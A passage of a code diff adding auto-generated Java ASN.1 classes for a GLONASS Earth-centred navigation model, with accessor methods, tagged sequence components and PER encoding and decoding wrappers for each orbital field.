+ public NavModel_GLONASSecef.gloP2Type getGloP2() {
+ return gloP2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_GLONASSecef.gloP2Type
+ */
+ public void setGloP2(Asn1Object value) {
+ this.gloP2_ = (NavModel_GLONASSecef.gloP2Type) value;
+ }
+ public NavModel_GLONASSecef.gloP2Type setGloP2ToNewInstance() {
+ gloP2_ = new NavModel_GLONASSecef.gloP2Type();
+ return gloP2_;
+ }
+
+ private NavModel_GLONASSecef.gloMType gloM_;
+ public NavModel_GLONASSecef.gloMType getGloM() {
+ return gloM_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_GLONASSecef.gloMType
+ */
+ public void setGloM(Asn1Object value) {
+ this.gloM_ = (NavModel_GLONASSecef.gloMType) value;
+ }
+ public NavModel_GLONASSecef.gloMType setGloMToNewInstance() {
+ gloM_ = new NavModel_GLONASSecef.gloMType();
+ return gloM_;
+ }
+
+ private NavModel_GLONASSecef.gloXType gloX_;
+ public NavModel_GLONASSecef.gloXType getGloX() {
+ return gloX_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_GLONASSecef.gloXType
+ */
+ public void setGloX(Asn1Object value) {
+ this.gloX_ = (NavModel_GLONASSecef.gloXType) value;
+ }
+ public NavModel_GLONASSecef.gloXType setGloXToNewInstance() {
+ gloX_ = new NavModel_GLONASSecef.gloXType();
+ return gloX_;
+ }
+
+ private NavModel_GLONASSecef.gloXdotType gloXdot_;
+ public NavModel_GLONASSecef.gloXdotType getGloXdot() {
+ return gloXdot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_GLONASSecef.gloXdotType
+ */
+ public void setGloXdot(Asn1Object value) {
+ this.gloXdot_ = (NavModel_GLONASSecef.gloXdotType) value;
+ }
+ public NavModel_GLONASSecef.gloXdotType setGloXdotToNewInstance() {
+ gloXdot_ = new NavModel_GLONASSecef.gloXdotType();
+ return gloXdot_;
+ }
+
+ private NavModel_GLONASSecef.gloXdotdotType gloXdotdot_;
+ public NavModel_GLONASSecef.gloXdotdotType getGloXdotdot() {
+ return gloXdotdot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_GLONASSecef.gloXdotdotType
+ */
+ public void setGloXdotdot(Asn1Object value) {
+ this.gloXdotdot_ = (NavModel_GLONASSecef.gloXdotdotType) value;
+ }
+ public NavModel_GLONASSecef.gloXdotdotType setGloXdotdotToNewInstance() {
+ gloXdotdot_ = new NavModel_GLONASSecef.gloXdotdotType();
+ return gloXdotdot_;
+ }
+
+ private NavModel_GLONASSecef.gloYType gloY_;
+ public NavModel_GLONASSecef.gloYType getGloY() {
+ return gloY_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_GLONASSecef.gloYType
+ */
+ public void setGloY(Asn1Object value) {
+ this.gloY_ = (NavModel_GLONASSecef.gloYType) value;
+ }
+ public NavModel_GLONASSecef.gloYType setGloYToNewInstance() {
+ gloY_ = new NavModel_GLONASSecef.gloYType();
+ return gloY_;
+ }
+
+ private NavModel_GLONASSecef.gloYdotType gloYdot_;
+ public NavModel_GLONASSecef.gloYdotType getGloYdot() {
+ return gloYdot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_GLONASSecef.gloYdotType
+ */
+ public void setGloYdot(Asn1Object value) {
+ this.gloYdot_ = (NavModel_GLONASSecef.gloYdotType) value;
+ }
+ public NavModel_GLONASSecef.gloYdotType setGloYdotToNewInstance() {
+ gloYdot_ = new NavModel_GLONASSecef.gloYdotType();
+ return gloYdot_;
+ }
+
+ private NavModel_GLONASSecef.gloYdotdotType gloYdotdot_;
+ public NavModel_GLONASSecef.gloYdotdotType getGloYdotdot() {
+ return gloYdotdot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_GLONASSecef.gloYdotdotType
+ */
+ public void setGloYdotdot(Asn1Object value) {
+ this.gloYdotdot_ = (NavModel_GLONASSecef.gloYdotdotType) value;
+ }
+ public NavModel_GLONASSecef.gloYdotdotType setGloYdotdotToNewInstance() {
+ gloYdotdot_ = new NavModel_GLONASSecef.gloYdotdotType();
+ return gloYdotdot_;
+ }
+
+ private NavModel_GLONASSecef.gloZType gloZ_;
+ public NavModel_GLONASSecef.gloZType getGloZ() {
+ return gloZ_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_GLONASSecef.gloZType
+ */
+ public void setGloZ(Asn1Object value) {
+ this.gloZ_ = (NavModel_GLONASSecef.gloZType) value;
+ }
+ public NavModel_GLONASSecef.gloZType setGloZToNewInstance() {
+ gloZ_ = new NavModel_GLONASSecef.gloZType();
+ return gloZ_;
+ }
+
+ private NavModel_GLONASSecef.gloZdotType gloZdot_;
+ public NavModel_GLONASSecef.gloZdotType getGloZdot() {
+ return gloZdot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_GLONASSecef.gloZdotType
+ */
+ public void setGloZdot(Asn1Object value) {
+ this.gloZdot_ = (NavModel_GLONASSecef.gloZdotType) value;
+ }
+ public NavModel_GLONASSecef.gloZdotType setGloZdotToNewInstance() {
+ gloZdot_ = new NavModel_GLONASSecef.gloZdotType();
+ return gloZdot_;
+ }
+
+ private NavModel_GLONASSecef.gloZdotdotType gloZdotdot_;
+ public NavModel_GLONASSecef.gloZdotdotType getGloZdotdot() {
+ return gloZdotdot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_GLONASSecef.gloZdotdotType
+ */
+ public void setGloZdotdot(Asn1Object value) {
+ this.gloZdotdot_ = (NavModel_GLONASSecef.gloZdotdotType) value;
+ }
+ public NavModel_GLONASSecef.gloZdotdotType setGloZdotdotToNewInstance() {
+ gloZdotdot_ = new NavModel_GLONASSecef.gloZdotdotType();
+ return gloZdotdot_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloEn() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloEn();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloEnToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_GLONASSecef.gloEnType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloEn : "
+ + getGloEn().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloP1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloP1();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloP1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_GLONASSecef.gloP1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloP1 : "
+ + getGloP1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloP2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloP2();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloP2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_GLONASSecef.gloP2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloP2 : "
+ + getGloP2().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloM() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloM();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloMToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_GLONASSecef.gloMType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloM : "
+ + getGloM().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloX() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloX();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloXToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_GLONASSecef.gloXType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloX : "
+ + getGloX().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloXdot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloXdot();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloXdotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_GLONASSecef.gloXdotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloXdot : "
+ + getGloXdot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloXdotdot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloXdotdot();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloXdotdotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_GLONASSecef.gloXdotdotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloXdotdot : "
+ + getGloXdotdot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloY() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloY();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloYToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_GLONASSecef.gloYType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloY : "
+ + getGloY().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloYdot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloYdot();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloYdotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_GLONASSecef.gloYdotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloYdot : "
+ + getGloYdot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloYdotdot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloYdotdot();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloYdotdotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_GLONASSecef.gloYdotdotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloYdotdot : "
+ + getGloYdotdot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloZ() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloZ();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloZToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_GLONASSecef.gloZType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloZ : "
+ + getGloZ().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloZdot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloZdot();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloZdotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_GLONASSecef.gloZdotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloZdot : "
+ + getGloZdot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 12);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloZdotdot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloZdotdot();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloZdotdotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_GLONASSecef.gloZdotdotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloZdotdot : "
+ + getGloZdotdot().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloEnType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloEnType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloEnType() {
+ super();
+ setValueRange("0", "31");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloEnType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloEnType != null) {
+ return ImmutableList.of(TAG_gloEnType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloEnType from encoded stream.
+ */
+ public static gloEnType fromPerUnaligned(byte[] encodedBytes) {
+ gloEnType result = new gloEnType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloEnType from encoded stream.
+ */
+ public static gloEnType fromPerAligned(byte[] encodedBytes) {
+ gloEnType result = new gloEnType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloEnType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloP1Type extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_gloP1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloP1Type() {
+ super();
+ setMinSize(2);
+setMaxSize(2);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloP1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloP1Type != null) {
+ return ImmutableList.of(TAG_gloP1Type);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloP1Type from encoded stream.
+ */
+ public static gloP1Type fromPerUnaligned(byte[] encodedBytes) {
+ gloP1Type result = new gloP1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloP1Type from encoded stream.
+ */
+ public static gloP1Type fromPerAligned(byte[] encodedBytes) {
+ gloP1Type result = new gloP1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloP1Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloP2Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_gloP2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloP2Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloP2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloP2Type != null) {
+ return ImmutableList.of(TAG_gloP2Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloP2Type from encoded stream.
+ */
+ public static gloP2Type fromPerUnaligned(byte[] encodedBytes) {
+ gloP2Type result = new gloP2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloP2Type from encoded stream.
+ */
+ public static gloP2Type fromPerAligned(byte[] encodedBytes) {
+ gloP2Type result = new gloP2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloP2Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloMType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloMType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloMType() {
+ super();
+ setValueRange("0", "3");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloMType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloMType != null) {
+ return ImmutableList.of(TAG_gloMType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloMType from encoded stream.
+ */
+ public static gloMType fromPerUnaligned(byte[] encodedBytes) {
+ gloMType result = new gloMType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloMType from encoded stream.
+ */
+ public static gloMType fromPerAligned(byte[] encodedBytes) {
+ gloMType result = new gloMType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloMType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloXType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloXType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloXType() {
+ super();
+ setValueRange("-67108864", "67108863");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloXType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloXType != null) {
+ return ImmutableList.of(TAG_gloXType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloXType from encoded stream.
+ */
+ public static gloXType fromPerUnaligned(byte[] encodedBytes) {
+ gloXType result = new gloXType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloXType from encoded stream.
+ */
+ public static gloXType fromPerAligned(byte[] encodedBytes) {
+ gloXType result = new gloXType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloXType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloXdotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloXdotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloXdotType() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloXdotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloXdotType != null) {
+ return ImmutableList.of(TAG_gloXdotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloXdotType from encoded stream.
+ */
+ public static gloXdotType fromPerUnaligned(byte[] encodedBytes) {
+ gloXdotType result = new gloXdotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloXdotType from encoded stream.
+ */
+ public static gloXdotType fromPerAligned(byte[] encodedBytes) {
+ gloXdotType result = new gloXdotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloXdotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloXdotdotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloXdotdotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloXdotdotType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloXdotdotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloXdotdotType != null) {
+ return ImmutableList.of(TAG_gloXdotdotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloXdotdotType from encoded stream.
+ */
+ public static gloXdotdotType fromPerUnaligned(byte[] encodedBytes) {
+ gloXdotdotType result = new gloXdotdotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloXdotdotType from encoded stream.
+ */
+ public static gloXdotdotType fromPerAligned(byte[] encodedBytes) {
+ gloXdotdotType result = new gloXdotdotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
